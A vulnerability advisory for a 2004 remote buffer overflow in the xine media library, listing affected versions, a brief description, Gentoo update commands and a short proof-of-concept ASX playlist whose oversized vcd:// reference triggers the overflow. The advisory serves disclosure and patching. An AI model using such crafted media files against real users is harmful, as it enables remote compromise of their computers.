Xine-Lib Remote Buffer Overflow Vulnerability

BID:10890

Info

Xine-Lib Remote Buffer Overflow Vulnerability

Bugtraq ID: 10890
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Aug 08 2004 12:00AM
Updated: Aug 08 2004 12:00AM
Credit: Discovery is credited to [email protected].
Vulnerable: xine xine-ui 0.99.2
xine xine-ui 0.99.1
+ xine xine 0.9.13
+ xine xine 0.9.8
+ xine xine 1-rc3b
+ xine xine 1-rc3a
+ xine xine 1-rc3
+ xine xine 1-rc2
+ xine xine 1-rc1
+ xine xine 1-rc0a
+ xine xine 1-beta9
+ xine xine 1-beta8
+ xine xine 1-beta7
+ xine xine 1-beta6
+ xine xine 1-beta5
+ xine xine 1-beta4
+ xine xine 1-beta3
+ xine xine 1-beta2
+ xine xine 1-beta12
+ xine xine 1-beta11
+ xine xine 1-beta10
+ xine xine 1-beta1
xine xine-ui 0.9.23
+ Mandriva Linux Mandrake 10.0
+ Slackware Linux 9.1
+ Slackware Linux -current
+ xine xine 0.9.13
+ xine xine 0.9.8
+ xine xine 1-rc3b
+ xine xine 1-rc3a
+ xine xine 1-rc3
+ xine xine 1-rc2
+ xine xine 1-rc1
+ xine xine 1-rc0a
+ xine xine 1-beta9
+ xine xine 1-beta8
+ xine xine 1-beta7
+ xine xine 1-beta6
+ xine xine 1-beta5
+ xine xine 1-beta4
+ xine xine 1-beta3
+ xine xine 1-beta2
+ xine xine 1-beta12
+ xine xine 1-beta11
+ xine xine 1-beta10
+ xine xine 1-beta1
xine xine-ui 0.9.22
+ Mandriva Linux Mandrake 9.2 amd64
+ Mandriva Linux Mandrake 9.2
+ xine xine 0.9.13
+ xine xine 0.9.8
+ xine xine 1-rc3b
+ xine xine 1-rc3a
+ xine xine 1-rc3
+ xine xine 1-rc2
+ xine xine 1-rc1
+ xine xine 1-rc0a
+ xine xine 1-beta9
+ xine xine 1-beta8
+ xine xine 1-beta7
+ xine xine 1-beta6
+ xine xine 1-beta5
+ xine xine 1-beta4
+ xine xine 1-beta3
+ xine xine 1-beta2
+ xine xine 1-beta12
+ xine xine 1-beta11
+ xine xine 1-beta10
+ xine xine 1-beta1
xine xine-ui 0.9.21
+ xine xine 0.9.13
+ xine xine 0.9.8
+ xine xine 1-rc3b
+ xine xine 1-rc3a
+ xine xine 1-rc3
+ xine xine 1-rc2
+ xine xine 1-rc1
+ xine xine 1-rc0a
+ xine xine 1-beta9
+ xine xine 1-beta8
+ xine xine 1-beta7
+ xine xine 1-beta6
+ xine xine 1-beta5
+ xine xine 1-beta4
+ xine xine 1-beta3
+ xine xine 1-beta2
+ xine xine 1-beta12
+ xine xine 1-beta11
+ xine xine 1-beta10
+ xine xine 1-beta1
xine xine-ui 0.9.20
+ xine xine 0.9.13
+ xine xine 0.9.8
+ xine xine 1-rc3b
+ xine xine 1-rc3a
+ xine xine 1-rc3
+ xine xine 1-rc2
+ xine xine 1-rc1
+ xine xine 1-rc0a
+ xine xine 1-beta9
+ xine xine 1-beta8
+ xine xine 1-beta7
+ xine xine 1-beta6
+ xine xine 1-beta5
+ xine xine 1-beta4
+ xine xine 1-beta3
+ xine xine 1-beta2
+ xine xine 1-beta12
+ xine xine 1-beta11
+ xine xine 1-beta10
+ xine xine 1-beta1
xine xine-lib 1-rc5
xine xine-lib 1-rc4
xine xine-lib 1-rc3c
+ Slackware Linux 9.1
+ Slackware Linux -current
xine xine-lib 1-rc3b
xine xine-lib 1-rc3a
xine xine-lib 1-rc2
xine xine-lib 1-beta9
xine xine-lib 1-beta8
xine xine-lib 1-beta7
xine xine-lib 1-beta6
xine xine-lib 1-beta5
xine xine-lib 1-beta4
xine xine-lib 1-beta3
xine xine-lib 1-beta2
xine xine-lib 1-beta11
xine xine-lib 1-beta10
xine xine-lib 1-beta1
Not Vulnerable:

Discussion

Xine-Lib Remote Buffer Overflow Vulnerability

It is reported that the xine media library is affected by a remote buffer overflow vulnerability. This issue can allow a remote attacker to gain unauthorized access to a vulnerable computer.

xine-lib rc-5 and prior versions are reportedly affected by this issue. xine versions 0.99.2 and prior are also vulnerable.

Exploit / POC

Xine-Lib Remote Buffer Overflow Vulnerability

The following proof of concept is available:
<asx version = "3.0">
<title>Open Security Media Archive</title>
<author>Brought to you by c0ntex[at]open-security.org</author>
<abstract>
SongList:
Track 1 - Open Security Rock(s) -> SOAD - Chop Suey
Track 2 - Open Security Rock(s) -> Media Mayhem Militia
</abstract>
<entry>
<title>System Of A Down - Chop Suey</title>
<author>c0ntex[at]open-security.org</author>
<copyright>?2004</copyright>
<Ref href = "http://sunscreen/SOAD-ChopSuey.mp3"/>
</entry>
<entry>
<title>All your media are belong to us!</title>
<author>c0ntex[at]open-security.org</author>
<copyright>?2004</copyright>
<Ref href = "vcd://




????> "/>
</entry>
</asx>

Local exploit code is available.

Solution / Fix

Xine-Lib Remote Buffer Overflow Vulnerability

Solution:
Gentoo has released an advisory (GLSA 200408-18) to address this issue. Please see the referenced advisory for more information. Gentoo users may carry out the following commands to update their computers:

emerge sync
emerge -pv ">=media-libs/xine-lib-1_rc5-r3"
emerge ">=media-libs/xine-lib-1_rc5-r3"

References

Xine-Lib Remote Buffer Overflow Vulnerability

References:

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